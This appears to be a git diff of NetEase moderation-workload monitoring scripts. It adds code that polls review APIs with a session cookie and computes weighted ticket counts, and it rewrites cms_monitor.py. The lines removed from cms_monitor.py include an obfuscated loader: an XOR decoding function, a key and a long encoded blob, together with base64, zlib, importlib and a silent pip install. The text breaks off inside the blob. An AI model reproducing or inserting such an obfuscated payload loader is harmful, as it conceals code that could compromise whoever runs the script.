'cc.fp.ps.netease.com', + 'nos.netease.com', + 'imageView' # 特殊参数标记为图片 + ] + + return any(pattern in url.lower() for pattern in image_patterns) + +def is_video_url(url): + """判断URL是否指向视频""" + if not url: + return False + + # 视频文件格式检查 + video_extensions = ['.mp4', '.avi', '.mov', '.wmv', '.mkv', '.flv', '.webm', '.m4v'] + if any(ext in url.lower() for ext in video_extensions): + return True + + # 视频服务链接检查 + video_patterns = [ + 'vod.cc.163.com', + 'my.fp.ps.netease.com', + 'vframe=1' # 特殊参数标记为视频 + ] + + return any(pattern in url.lower() for pattern in video_patterns) + +def determine_media_type(issue): + """判断工单媒体类型""" + try: + # 从extraInfo中提取信息 + extra_info = json.loads(issue.get('extraInfo', '{}')) + product = extra_info.get('product', '') + msg_type = extra_info.get('msg_type', '') + title = issue.get('title', '') + + # 首先判断聊天工单类型 + if msg_type == 'P2P' or '私聊频繁' in title: + return 'CHAT_P2P' + elif msg_type == 'TEAM' or '群聊频繁' in title: + return 'CHAT_TEAM' + elif msg_type == 'ROOM' or '聊天室' in title: + return 'CHAT_ROOM' + elif 'CHAT_ROOM_MSG' in msg_type or '聊天室频繁' in title: + return 'CHAT_ROOM_MSG' + + # 如果没有product,尝试从uniqueid中提取 + if not product: + uniqueid = issue.get('uniqueid', '') + if '||' in uniqueid: + product = uniqueid.split('||')[0] + + # 如果是NTES_GOD或NTES_GOD_CHAT,需要通过URL判断图片或视频 + if product in ['NTES_GOD', 'NTES_GOD_CHAT']: + url = extra_info.get('url', '').lower() + + # 检查是否是视频 + video_extensions = ['.mp4', '.avi', '.mov', '.wmv', '.mkv', '.flv', '.webm', '.m4v'] + video_domains = ['vod.cc.163.com'] + + is_video = False + # 检查URL是否包含视频扩展名 + for ext in video_extensions: + if url.endswith(ext) or f"{ext}?" in url: + is_video = True + break + + # 检查是否包含视频域名 + for domain in video_domains: + if domain in url: + is_video = True + break + + # 检查特殊参数 + if 'vframe=1' in url: + is_video = True + + # 根据媒体类型返回对应的工单类型 + if is_video: + return f"{product}_VIDEOS" + else: + return f"{product}_IMAGES" + + # 其他工单直接返回产品代码 + return product + + except Exception as e: + log(f"确定工单类型时出错: {str(e)}", level='error') + return None + +def get_coefficient(issue_data): + """获取工单的折算系数""" + media_type = determine_media_type(issue_data) + + # 确保使用最新的系数配置 + with coefficients_lock: + current_coefficients = COEFFICIENTS.copy() + + if media_type in current_coefficients: + return current_coefficients[media_type] + + # 如果无法确定媒体类型,使用默认系数 + log(f"Unknown media type: {media_type}, using default coefficient") + return current_coefficients['NTES_GOD_IMAGES'] + +def fetch_issue_data(cookie, username, create_start_time, create_end_time, close_start_time=None, close_end_time=None, max_pages=10000): + """从API获取工单数据""" + issues = [] + headers = get_api_headers(cookie) + page = 1 + + stats = { + 'total_count': 0, + 'types': {} + } + + # 如果未提供关闭时间,则使用创建时间 + if close_start_time is None: + close_start_time = create_start_time + if close_end_time is None: + close_end_time = create_end_time + + # 添加重试逻辑 + max_retries = 5 + retry_interval = 5 + current_retry = 0 + + while page <= max_pages: + try: + params = { + 'pageNum': page, + 'pageSize': 500, # 每页500条 + 'createTimeStart': create_start_time, + 'createTimeEnd': create_end_time, + 'closeTimeStart': close_start_time, + 'closeTimeEnd': close_end_time, + 'gameCode': 'a19', + 'handleUsername': username, + 'cold': 'false', + 'status': 'FINISH' + } + + log(f"正在获取第 {page} 页数据,创建时间范围:{create_start_time} 至 {create_end_time}") + log(f"关闭时间范围:{close_start_time} 至 {close_end_time}") + + # 发送请求 + response = requests.get(API_BASE_URL, headers=headers, params=params, timeout=15) + + # 检查响应状态 + if response.status_code == 200: + try: + data = response.json() + + # 检查API响应格式的逻辑 + if data.get('code') == 200 and 'data' in data and 'records' in data['data']: + items = data['data']['records'] + total = data['data'].get('total', 0) + log(f"API返回成功,找到 {len(items)} 条记录,总计 {total} 条") + + # 如果返回0条记录,进行重试 + if total == 0 and current_retry < max_retries - 1: + current_retry += 1 + log(f"API返回0条记录,正在进行第{current_retry}次重试...") + time.sleep(retry_interval) + continue + elif total == 0 and current_retry >= max_retries - 1: + log(f"API返回0条记录,已达到最大重试次数({max_retries}次),停止重试") + return None + + # 记录当前统计的工单总数占API返回总数的百分比 + if total > 0 and stats['total_count'] + len(items) <= total: + progress = ((stats['total_count'] + len(items)) / total) * 100 + log(f"当前进度: {progress:.2f}% ({stats['total_count'] + len(items)}/{total})") + elif data.get('code') != 200: + # 这是一个明确的失败响应 + error_msg = data.get('msg', '未知错误') + log(f"API返回错误:{error_msg}") + log(f"API响应内容:{response.text[:500]}") + return None + else: + # 其他情况,记录响应并退出 + log(f"未知的API响应格式:{response.text[:500]}") + return None + + # 处理工单数据 + if not items or len(items) == 0: + log("当前页没有数据,结束获取") + break + + issues.extend(items) + + # 更新当前页的统计信息 + for item in items: + media_type = determine_media_type(item) + if media_type not in stats['types']: + stats['types'][media_type] = 0 + stats['types'][media_type] += 1 + + stats['total_count'] += len(items) + log(f"第{page}页有 {len(items)} 条记录,累计处理 {stats['total_count']} 条") + + # 检查是否还有下一页数据 + total_pages = data['data'].get('pages', 1) + if page >= total_pages or len(items) < params['pageSize']: + log(f"已获取所有数据,共 {total_pages} 页,处理了 {stats['total_count']} 条记录") + break + + except ValueError as e: + log(f"解析JSON数据失败: {str(e)}") + log(f"原始响应内容:{response.text[:500]}") + return None + else: + log(f"API请求失败: HTTP {response.status_code}") + log(f"响应内容: {response.text[:500]}") + return None + + page += 1 + + except requests.exceptions.Timeout: + log("API请求超时") + return None + except requests.exceptions.ConnectionError: + log("网络连接错误,请检查网络连接") + return None + except Exception as e: + log(f"获取数据失败: {str(e)}") + return None + + # 检查是否因为达到最大页数而停止 + if page > max_pages: + log(f"达到最大页数限制({max_pages}页),停止获取。如需获取更多数据,请增加max_pages参数。") + + # 确保每次都是从配置文件读取最新系数 + load_coefficients() + + # 使用全局系数变量 + with coefficients_lock: + current_coefficients = COEFFICIENTS.copy() + + # 计算各类型工单折算总数 + weighted_total = 0 + + for media_type, count in stats['types'].items(): + coefficient = current_coefficients.get(media_type, current_coefficients['NTES_GOD_IMAGES']) + weighted_count = count * coefficient + weighted_total += weighted_count + + log(f"最终统计结果:工单总数 {stats['total_count']},折算总计 {weighted_total:.2f}") + + # 将统计结果整理为前端需要的格式 + frontend_stats = { + 'total': stats['total_count'], + 'weighted_total': weighted_total, + 'categories': {}, + 'coefficients': current_coefficients # 添加系数到返回结果中 + } + + # 整理分类统计,确保所有可能的工单类型都包括在内 + for media_type, coefficient in current_coefficients.items(): + count = stats['types'].get(media_type, 0) + weighted_count = count * coefficient + + # 使用对应的中文名称 + if media_type == 'NTES_GOD_IMAGES': + type_name = "网易大神APP图片" + elif media_type == 'NTES_GOD_VIDEOS': + type_name = "网易大神APP视频" + elif media_type == 'NTES_GOD_CHAT_IMAGES': + type_name = "网易大神APP聊天图片" + elif media_type == 'NTES_GOD_CHAT_VIDEOS': + type_name = "网易大神APP聊天视频" + elif media_type == 'NTES_DASONG': + type_name = "大神大宋视频" + elif media_type == 'SPIDER_VIDEO': + type_name = "大神普通供给视频" + elif media_type == 'SPIDER_VIDEO_SP': + type_name = "大神高优供给视频" + elif media_type == 'NTES_GOD_AI': + type_name = "大神AI图片" + elif media_type == 'NTES_GOD_TOP': + type_name = "大神短视频" + elif media_type == 'T_SPIDER_VIDEO': + type_name = "大神tiktok普通视频" + elif media_type == 'T_SPIDER_VIDEO_SP': + type_name = "大神tiktok高优视频" + elif media_type == 'V_SPIDER_VIDEO': + type_name = "大神ins普通供给视频" + elif media_type == 'V_SPIDER_VIDEO_SP': + type_name = "大神ins高优供给视频" + elif media_type == 'NTES_GOD_XHS': + type_name = "大神小红书图片" + elif media_type == 'XHS_SPIDER_VIDEO': + type_name = "小红书供给视频" + elif media_type == 'Cupid': + type_name = "大神交友" + elif media_type == 'CHAT_P2P': + type_name = "大神聊天/风险用户_私聊/私聊频繁" + elif media_type == 'CHAT_TEAM': + type_name = "大神聊天/风险用户_群聊/群聊频繁" + elif media_type == 'CHAT_ROOM': + type_name = "大神聊天_聊天室" + elif media_type == 'CHAT_ROOM_MSG': + type_name = "风险用户_聊天室频繁" + else: + # 默认情况下仍然使用替换方式 + type_name = media_type.replace('_', ' ').replace('NTES', '大神') + + frontend_stats['categories'][type_name] = { + 'count': count, + 'weighted': weighted_count, + 'coefficient': coefficient + } + + return { + 'stats': frontend_stats, + 'issues': issues + } + +def switch_business(cookie, business_id): + """切换业务线""" + try: + url = 'https://breeze.gameyw.netease.com/api/cms/user/switchBusiness' + headers = { + 'accept': 'application/json, text/plain, */*', + 'accept-language': 'zh-CN,zh;q=0.9', + 'content-type': 'application/json', + 'cookie': cookie, + 'origin': 'https://breeze.opd.netease.com', + 'priority': 'u=1, i', + 'referer': 'https://breeze.opd.netease.com/', + 'sec-ch-ua': '"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"', + 'sec-ch-ua-mobile': '?0', + 'sec-ch-ua-platform': '"Windows"', + 'sec-fetch-dest': 'empty', + 'sec-fetch-mode': 'cors', + 'sec-fetch-site': 'same-site', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36' + } + data = {"businessId": business_id} + + log(f"正在切换业务线,目标业务ID: {business_id}") + response = requests.post(url, headers=headers, json=data, timeout=15) + + if response.status_code == 200: + try: + result = response.json() + if result.get('code') == 200: + log(f"业务线切换成功: {business_id}") + time.sleep(1) # 等待切换完成 + return True + else: + log(f"业务线切换失败: {result.get('msg', '未知错误')}") + return False + except ValueError as e: + log(f"解析业务线切换响应失败: {str(e)}") + return False + else: + log(f"业务线切换请求失败: HTTP {response.status_code}") + return False + + except Exception as e: + log(f"切换业务线时出错: {str(e)}") + return False + +def check_current_hour_counts(cookie, username): + """检查当前小时数据""" + try: + # 获取当前小时的开始和结束时间 + now = datetime.now() + current_hour = now.hour + + # 创建时间仍然使用全天 + create_start_time = now.strftime('%Y-%m-%d') + " 00:00:00" + create_end_time = now.strftime('%Y-%m-%d') + " 23:59:59" + + # 关闭时间使用当前小时 + close_start_time = now.strftime('%Y-%m-%d %H') + ":00:00" + close_end_time = now.strftime('%Y-%m-%d %H') + ":59:59" + + log(f"当前小时查询 - 创建时间范围: {create_start_time} 至 {create_end_time}") + log(f"当前小时查询 - 关闭时间范围: {close_start_time} 至 {close_end_time}") + + # 首先切换到清风审核-大神审核(业务ID: 7) + log("正在切换到清风审核-大神审核...") + switch_business(cookie, 7) + + # 调用API获取大神审核数据 + log("正在获取大神审核数据...") + godResult = fetch_issue_data(cookie, username, create_start_time, create_end_time, close_start_time, close_end_time, max_pages=10000) + if godResult is None: + log("获取大神审核数据失败") + godStats = { + 'total': 0, + 'weighted_total': 0, + 'categories': {} + } + else: + godStats = godResult['stats'] + log(f"大神审核数据获取成功,共 {godStats['total']} 条记录,折算总计 {godStats['weighted_total']:.2f}") + + # 然后切换到清风审核-图片审核(业务ID: 12) + log("正在切换到清风审核-图片审核...") + switch_business(cookie, 12) + + # 调用API获取图片审核数据 + log("正在获取图片审核数据...") + imageResult = fetch_issue_data(cookie, username, create_start_time, create_end_time, close_start_time, close_end_time, max_pages=10000) + if imageResult is None: + log("获取图片审核数据失败") + imageStats = { + 'total': 0, + 'weighted_total': 0, + 'categories': {} + } + else: + imageStats = imageResult['stats'] + log(f"图片审核数据获取成功,共 {imageStats['total']} 条记录,折算总计 {imageStats['weighted_total']:.2f}") + + # 合并两部分统计结果 + mergedStats = { + 'total': godStats['total'] + imageStats['total'], + 'weighted_total': godStats['weighted_total'] + imageStats['weighted_total'], + 'categories': {} + } + + # 合并分类统计 + allCategories = set(list(godStats['categories'].keys()) + list(imageStats['categories'].keys())) + for category in allCategories: + godCat = godStats['categories'].get(category, {'count': 0, 'coefficient': 0, 'weighted': 0}) + imageCat = imageStats['categories'].get(category, {'count': 0, 'coefficient': 0, 'weighted': 0}) + + # 使用相同的系数(两者应该是一样的,如果有就使用它) + coefficient = godCat['coefficient'] or imageCat['coefficient'] + + mergedStats['categories'][category] = { + 'count': godCat['count'] + imageCat['count'], + 'coefficient': coefficient, + 'weighted': godCat['weighted'] + imageCat['weighted'] + } + + log(f"合并后的统计结果:工单总数 {mergedStats['total']},折算总计 {mergedStats['weighted_total']:.2f}") + + # 将统计结果写入到共享数据文件中 + try: + data = { + 'type': 'breeze_hourly', + 'stats': mergedStats, + 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') + } + with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'breeze_hourly.json'), 'w', encoding='utf-8') as f: + json.dump(data, f, ensure_ascii=False) + log("小时数据已更新到共享文件") + except Exception as e: + log(f"写入小时数据到共享文件失败: {str(e)}") + + return mergedStats + + except Exception as e: + log(f"检查当前小时数据失败: {str(e)}") + return None + +def check_daily_counts(cookie, username): + """检查全天数据""" + try: + # 获取今日开始和结束时间 + today = datetime.now().strftime('%Y-%m-%d') + create_start_time = "%s 00:00:00" % today + create_end_time = "%s 23:59:59" % today + + # 关闭时间也使用全天 + close_start_time = create_start_time + close_end_time = create_end_time + + log(f"全天查询 - 创建时间范围: {create_start_time} 至 {create_end_time}") + log(f"全天查询 - 关闭时间范围: {close_start_time} 至 {close_end_time}") + + # 首先切换到清风审核-大神审核(业务ID: 7) + log("正在切换到清风审核-大神审核...") + switch_business(cookie, 7) + + # 调用API获取大神审核数据 + log("正在获取大神审核全天数据...") + godResult = fetch_issue_data(cookie, username, create_start_time, create_end_time, close_start_time, close_end_time, max_pages=10000) + if godResult is None: + log("获取大神审核全天数据失败") + godStats = { + 'total': 0, + 'weighted_total': 0, + 'categories': {} + } + else: + godStats = godResult['stats'] + log(f"大神审核全天数据获取成功,共 {godStats['total']} 条记录,折算总计 {godStats['weighted_total']:.2f}") + + # 然后切换到清风审核-图片审核(业务ID: 12) + log("正在切换到清风审核-图片审核...") + switch_business(cookie, 12) + + # 调用API获取图片审核数据 + log("正在获取图片审核全天数据...") + imageResult = fetch_issue_data(cookie, username, create_start_time, create_end_time, close_start_time, close_end_time, max_pages=10000) + if imageResult is None: + log("获取图片审核全天数据失败") + imageStats = { + 'total': 0, + 'weighted_total': 0, + 'categories': {} + } + else: + imageStats = imageResult['stats'] + log(f"图片审核全天数据获取成功,共 {imageStats['total']} 条记录,折算总计 {imageStats['weighted_total']:.2f}") + + # 合并两部分统计结果 + mergedStats = { + 'total': godStats['total'] + imageStats['total'], + 'weighted_total': godStats['weighted_total'] + imageStats['weighted_total'], + 'categories': {} + } + + # 合并分类统计 + allCategories = set(list(godStats['categories'].keys()) + list(imageStats['categories'].keys())) + for category in allCategories: + godCat = godStats['categories'].get(category, {'count': 0, 'coefficient': 0, 'weighted': 0}) + imageCat = imageStats['categories'].get(category, {'count': 0, 'coefficient': 0, 'weighted': 0}) + + # 使用相同的系数(两者应该是一样的,如果有就使用它) + coefficient = godCat['coefficient'] or imageCat['coefficient'] + + mergedStats['categories'][category] = { + 'count': godCat['count'] + imageCat['count'], + 'coefficient': coefficient, + 'weighted': godCat['weighted'] + imageCat['weighted'] + } + + log(f"合并后的全天统计结果:工单总数 {mergedStats['total']},折算总计 {mergedStats['weighted_total']:.2f}") + + # 将统计结果写入到共享数据文件中 + try: + data = { + 'type': 'breeze_daily', + 'stats': mergedStats, + 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') + } + with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'breeze_daily.json'), 'w', encoding='utf-8') as f: + json.dump(data, f, ensure_ascii=False) + log("全天数据已更新到共享文件") + except Exception as e: + log(f"写入全天数据到共享文件失败: {str(e)}") + + return mergedStats + + except Exception as e: + log(f"检查今日数据失败: {str(e)}") + return None + +def monitor_hourly_thread(): + """每小时监控线程""" + log("每小时监控线程启动") + while True: + try: + # 从全局变量获取用户信息 + with credentials_lock: + cookie = user_credentials['cookie'] + username = user_credentials['username'] + + if cookie and username: + # 检查当前小时数据 + stats = check_current_hour_counts(cookie, username) + time.sleep(120) # 每2分钟检查一次 + else: + time.sleep(30) # 未登录时等待30秒 + + except Exception as e: + log(f"每小时监控线程异常: {str(e)}") + time.sleep(60) # 发生异常时等待1分钟后重试 + +def monitor_daily_thread(): + """每日监控线程""" + log("每日监控线程启动") + while True: + try: + # 从全局变量获取用户信息 + with credentials_lock: + cookie = user_credentials['cookie'] + username = user_credentials['username'] + + if cookie and username: + # 检查全天数据 + stats = check_daily_counts(cookie, username) + time.sleep(3600) # 每60分钟检查一次 + else: + time.sleep(30) # 未登录时等待30秒 + + except Exception as e: + log(f"每日监控线程异常: {str(e)}") + time.sleep(60) # 发生异常时等待1分钟后重试 + +# 监控配置文件变化线程 +def monitor_config_thread(): + """监控配置文件变化线程""" + log("配置监控线程启动") + last_modified_time = 0 + + while True: + try: + if os.path.exists(COEFFICIENTS_CONFIG_FILE): + current_modified_time = os.path.getmtime(COEFFICIENTS_CONFIG_FILE) + + # 检查文件是否有更新 + if current_modified_time > last_modified_time: + log(f"检测到配置文件变化,重新加载系数") + load_coefficients() + + # 系数变化后,立即重新计算数据 + with credentials_lock: + cookie = user_credentials['cookie'] + username = user_credentials['username'] + + if cookie and username: + log("系数变更后立即更新数据...") + threading.Thread(target=lambda: check_current_hour_counts(cookie, username)).start() + threading.Thread(target=lambda: check_daily_counts(cookie, username)).start() + + last_modified_time = current_modified_time + + time.sleep(120) # 每2分钟检查一次,减少频率 + + except Exception as e: + log(f"配置监控线程异常: {str(e)}") + time.sleep(60) # 发生异常时等待1分钟后重试 + +def main(): + """主函数""" + log("Breeze监控系统启动") + + # 解析命令行参数 + check_now = False + force_mode = False + update_coefficients = False + no_config_check = False + + for arg in sys.argv: + if arg == "--check-now": + check_now = True + log("收到立即检查参数") + elif arg == "--force": + force_mode = True + log("收到强制模式参数") + elif arg == "--update-coefficients": + update_coefficients = True + log("收到更新系数参数") + elif arg == "--no-config-check": + no_config_check = True + log("收到禁用配置检查参数") + + # 从配置文件加载系数,除非指定了不检查配置 + if not no_config_check: + load_coefficients() + else: + log("跳过配置检查,使用当前已加载的系数") + + # 处理系数更新 + if update_coefficients: + # 检查是否提供了新系数 + if len(sys.argv) >= 5: # 脚本名 + --update-coefficients + 类型 + 值 + try: + coefficient_type = sys.argv[2] + coefficient_value = float(sys.argv[3]) + + # 检查是否为有效的系数类型 + if coefficient_type in COEFFICIENTS: + log(f"更新系数:{coefficient_type}={coefficient_value}") + + # 更新全局系数 + with coefficients_lock: + COEFFICIENTS[coefficient_type] = coefficient_value + + # 保存到配置文件 + save_coefficients() + else: + log(f"未知的系数类型: {coefficient_type}") + except ValueError as e: + log(f"系数更新失败: {str(e)}") + log("系数必须是有效的数字") + except IndexError: + log("参数不足,无法更新系数") + + log("系数更新完成,退出程序") + sys.exit(0) + + # 确保输出目录存在 + script_dir = os.path.dirname(os.path.abspath(__file__)) + if not os.path.exists(script_dir): + os.makedirs(script_dir) + + # 从环境变量初始化凭据 + init_credentials() + + # 处理--check-now参数 + if check_now: + # 从全局变量获取用户信息 + with credentials_lock: + cookie = user_credentials['cookie'] + username = user_credentials['username'] + + if cookie and username: + log("开始执行手动检查") + + if force_mode: + # 在强制模式下,使用当前小时的整点数据进行查询 + now = datetime.now() + + # 创建时间仍然使用全天 + create_start_time = now.strftime('%Y-%m-%d') + " 00:00:00" + create_end_time = now.strftime('%Y-%m-%d') + " 23:59:59" + + # 关闭时间使用当前小时的整点范围 + close_start_time = now.strftime('%Y-%m-%d %H') + ":00:00" + close_end_time = now.strftime('%Y-%m-%d %H') + ":59:59" + + log(f"强制模式 - 创建时间范围: {create_start_time} 至 {create_end_time}") + log(f"强制模式 - 关闭时间范围: {close_start_time} 至 {close_end_time}") + + # 首先切换到清风审核-大神审核(业务ID: 7) + log("正在切换到清风审核-大神审核...") + switch_business(cookie, 7) + + # 调用API获取大神审核数据 + log("正在获取大神审核数据...") + godResult = fetch_issue_data(cookie, username, create_start_time, create_end_time, close_start_time, close_end_time, max_pages=10000) + if godResult is None: + log("获取大神审核数据失败") + godStats = { + 'total': 0, + 'weighted_total': 0, + 'categories': {} + } + else: + godStats = godResult['stats'] + log(f"大神审核数据获取成功,共 {godStats['total']} 条记录,折算总计 {godStats['weighted_total']:.2f}") + + # 然后切换到清风审核-图片审核(业务ID: 12) + log("正在切换到清风审核-图片审核...") + switch_business(cookie, 12) + + # 调用API获取图片审核数据 + log("正在获取图片审核数据...") + imageResult = fetch_issue_data(cookie, username, create_start_time, create_end_time, close_start_time, close_end_time, max_pages=10000) + if imageResult is None: + log("获取图片审核数据失败") + imageStats = { + 'total': 0, + 'weighted_total': 0, + 'categories': {} + } + else: + imageStats = imageResult['stats'] + log(f"图片审核数据获取成功,共 {imageStats['total']} 条记录,折算总计 {imageStats['weighted_total']:.2f}") + + # 合并两部分统计结果 + mergedStats = { + 'total': godStats['total'] + imageStats['total'], + 'weighted_total': godStats['weighted_total'] + imageStats['weighted_total'], + 'categories': {} + } + + # 合并分类统计 + allCategories = set(list(godStats['categories'].keys()) + list(imageStats['categories'].keys())) + for category in allCategories: + godCat = godStats['categories'].get(category, {'count': 0, 'coefficient': 0, 'weighted': 0}) + imageCat = imageStats['categories'].get(category, {'count': 0, 'coefficient': 0, 'weighted': 0}) + + # 使用相同的系数(两者应该是一样的,如果有就使用它) + coefficient = godCat['coefficient'] or imageCat['coefficient'] + + mergedStats['categories'][category] = { + 'count': godCat['count'] + imageCat['count'], + 'coefficient': coefficient, + 'weighted': godCat['weighted'] + imageCat['weighted'] + } + + log(f"合并后的统计结果:工单总数 {mergedStats['total']},折算总计 {mergedStats['weighted_total']:.2f}") + + # 将统计结果写入到共享数据文件中 + try: + data = { + 'type': 'breeze_hourly', + 'stats': mergedStats, + 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') + } + with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'breeze_hourly.json'), 'w', encoding='utf-8') as f: + json.dump(data, f, ensure_ascii=False) + log("小时数据已更新到共享文件") + except Exception as e: + log(f"写入小时数据到共享文件失败: {str(e)}") + else: + # 常规检查 + check_current_hour_counts(cookie, username) + + log("手动检查完成") + else: + log("无法执行手动检查: 凭据不可用") + + # 立即检查完成后退出 + sys.exit(0) + + # 启动监控线程 + hourly_thread = threading.Thread(target=monitor_hourly_thread) + hourly_thread.daemon = True + hourly_thread.start() + + daily_thread = threading.Thread(target=monitor_daily_thread) + daily_thread.daemon = True + daily_thread.start() + + # 启动配置监控线程 + config_thread = threading.Thread(target=monitor_config_thread) + config_thread.daemon = True + config_thread.start() + + # 保持主线程运行 + try: + while True: + time.sleep(10) + except KeyboardInterrupt: + log("程序被用户中断") + except Exception as e: + log(f"主线程异常: {str(e)}") + finally: + log("Breeze监控系统关闭") + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/cms_coefficients.json b/cms_coefficients.json deleted file mode 100644 index 6a3a514..0000000 --- a/cms_coefficients.json +++ /dev/null @@ -1 +0,0 @@ -{ "comment": 0.55, "feed": 1.54, "complaint": 5.4 } diff --git a/cms_monitor.py b/cms_monitor.py index cc8ed0a..abab994 100644 --- a/cms_monitor.py +++ b/cms_monitor.py @@ -1,49 +1,680 @@ # -*- coding: utf-8 -*- -import base64,zlib,sys,os,time,random -import threading,importlib,subprocess +import requests +import time +import random +from datetime import datetime +import logging +import os +import sys +import json +import threading +from threading import Lock -def _oaOTdnILk5ke(d,k): - return bytes(a^b for a,b in zip(d,k*(len(d)//len(k)+1))) +# 配置日志 +def setup_logging(): + try: + # 获取当前脚本所在目录 + script_dir = os.path.dirname(os.path.abspath(__file__)) + log_file = os.path.join(script_dir, 'cms_monitor.log') + + # 确保日志文件存在 + if not os.path.exists(log_file): + with open(log_file, 'w', encoding='utf-8') as f: + f.write('') + + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s', + handlers=[ + logging.FileHandler(log_file, encoding='utf-8', mode='a'), + logging.StreamHandler() + ] + ) + logging.info("CMS监控日志系统初始化成功") + except Exception as e: + print(f"日志系统初始化失败: {str(e)}") + # 如果文件日志失败,至少使用控制台日志 + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s', + handlers=[logging.StreamHandler()] + ) -def _qd6ipqjiQ(t,m,is_error=False): - try: - try: - from playsound import playsound - except ImportError: - subprocess.check_call([sys.executable,"-m","pip","install","playsound==1.2.2"], - stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL) - from playsound import playsound - +# 初始化日志系统 +setup_logging() - try: - import winsound - sound_type = winsound.MB_ICONERROR if is_error else winsound.MB_ICONINFORMATION - winsound.MessageBeep(sound_type) - except: - print("\a") - - - print("\n" + "="*50) - print(f"{t}: {m}") - print("="*50 + "\n") - - return True - except Exception as e: - print(f"\n{t}: {m} (提示音播放失败: {str(e)})\n") - return False +# 配置 +API_BASE_URL = 'https://god-cms.gameyw.netease.com/cms/admin/logPage' -def _MOZ2BQ57jpF(t,m,e=0): - _qd6ipqjiQ(t,m,e==1) +# 默认的各类操作的权重系数 +DEFAULT_COEFFICIENTS = { + 'comment': 0.55, # 评论审核权重 + 'feed': 1.54, # 动态审核权重 + 'complaint': 5.4 # 举报处理权重 +} +# 系数配置文件路径 +COEFFICIENTS_CONFIG_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'cms_coefficients.json') -_S7Itg1=b'\xef\xe9\x17\x8a\x04\x14\x95\xeb\xd02\xe99@b~\x94' -_cRJoTTSH=b'mv#EKZ)b)qV(kC2yGCIUr*~g|>YnBaS2}{{>dK-5oP$8cpFY<mj6gDL@E#Z@(n@0jO%J*J0kR!4!CK39)<;eGvtvkIN7Ne_`RzGB?4!+~V9C5gD{oElNx8UeBP$>*c5(doPIRLwsOGFIvfVtIpSISa7K*xsqTqjL`YzG>pN?28ZQ4v6$bwyoqQ(dL??5>w3Ws(K|#b-uUolN*r}i$`iFa16w-`VU@>+j#g~^OMF$@o_h$y}}AWnhQVs+w$BkeRnz|VbR52#0FuH+7WW2d4K#7+s4bW2NeR0SA?ApFIf~Q5U?kK=vFxZMWj;l-1&I_8iOWb;TAwF6cm0GU|PlwfZoC6;$urbk=j~+y{LNzPc`7ZgFgMTx)Zg~aML(|x%eSj}s>f8adaOlwp9_2r*M-~!~AcLAvrY&GbDbia2Gr!~x*v2}{YY2b@;^_GTL3iCNIN8gxY|u_qczlrwAeyF-sY-5+n;BlAWxvk#cnU1NenisL^myp@X$2@NE9&BI`39rQfDfW}8*Ep=>2BF`!ds5NCUe{LS8wF~mj(eWqn{pmYQuz}r8Q1vTYlj&i2vjTjY1LQA7lv1pX(P)Q_zgYQUTwCS7%Jye>&9)XCFoEKGTZP{;)W{g-l&$P*NSkG_^3;$1ee#H_uU!ICguOG+Fd6Sy-?M7XeKZ1J1^2}-i2Ihys%j35Y-MGQ4uI{HZcC{>5wj9P_pU*7F`%#zL8Z_>?E5*#Ef!vBj^%li}51hWPi4#H2=ag?u6$3nB)@f!nRrD2nMp^i8uF!HElf2j%HMkJd0(G&cn@Q+;)f*>lUn~MjTcVC4d+^^DjvkQCcXB?=R1|H+)q4bm$+LD14F5#%`OMTBTZLK4eH6zJa{S_ST{LdsL$*4pt}n#rU0Yg?kW1w@pizoN8?-Tqh(lEGZ!CDxp(!Y-(QYpEuj05Hz$B|E{c&jP>8Fdlj*zE$RK7Ixdq=mMgTT)h36~YLt+#__h?TmT2vpbJOopQR`41<08c?6|6tXRcmY@)_+8-1NDc?_jeW=9;aHGzA1_{L9-Zf~>Zl4Mx}Uh&vph4#0T%&P2fbMA8fv6v{H2lVm}n0p}Y;U$7WBSL|Ffv2%n4sm*XS2bC$8cFfWYFm|wnm+m?=2bEy2Xwq7CGEo10{9-Eut*2@~LRMte3fi5F1`5%w{5XgKOtv|T@dT86&2|GboVVAINkjnF&PzMc%Iq&NDCT3wrR>C~MJaQuXRR+6YsI$9VReD+uJfDbG@whdcrJt7|t;e7AO^r&XdZufP8&y4WGDx!E(H`IKFxzis}^KMRr&89kt0uBsAEY0%=?w<3eSaB#gNltfj-dj$uGQ@VWJGrYIz4xtP;RvX3e{(j_m7=uAI{kExv%B+=5C|C5bT&SYJ(=?S6IxQsq}I65X!Ww0%0eZ~67AK#*SVnsbjH`Q`;g$qBE}|M_n>(jr0*=b9tQ2-CvU|O+x)Spml=rBlh`o9?tRUXurL;&w&i}yg9$RBW%j096xguj!_NMgZznVt2nD~skPcTFc%lB)okOv4NBkeE@J4xWQf701y!Qv8eFoEHeC|vBl}+mQz6Z$_PG6)gOy<@ZwW6jg#3-DJ|H=R*&FcQHPT-_8AUXbp5x4FX4h>AtUh*7^@$fJ7C^dk7u@;oMGNBX*W?l?VoL+VmbRnB~mUgHRhz&~^;U2`*Szq&Cr`_?3)a#UV4Y?ipFawwi6b3W82H0#QA}~mMCxjtwcM#nvk`~f-g1g||W+o?4)^R;WrtSvn0@>s|If^UA`Nlg+N+};dN34#emiCwZ>>;o4$OViNaG!X6jmC%0#`{4PHIN%|hO)o28B#?k9qe8GJ)dUlKGV)rpW8Cxo3I12mi)*F)&H&g4I!5#MFW7$J?L)t%ApBWNnAndf)|$yS_vm6C3z5V-BQOnScHMp1b+7gcv8Am{$*h}lC1$~M4G6zQ9;n(Xrk=4vTG0GRW@+Z)#5!)X9yAwUpw=#o{?Rf83|5d)DpBTgVdvn$V`Rg*%6us{<*wQd?W!B7i1$5(NR~2~ifg@wb3`w{;!S8!(jruw))zuv85bP`Ep6lYW;Bf9pJpAmtQIpuQkc));tv21>^kPFJx3B|+pNv?!umV=mbAo+RN5J8wL)8<|A_$2$r4z<^#pRVNpxJ39|$>FTDh*I<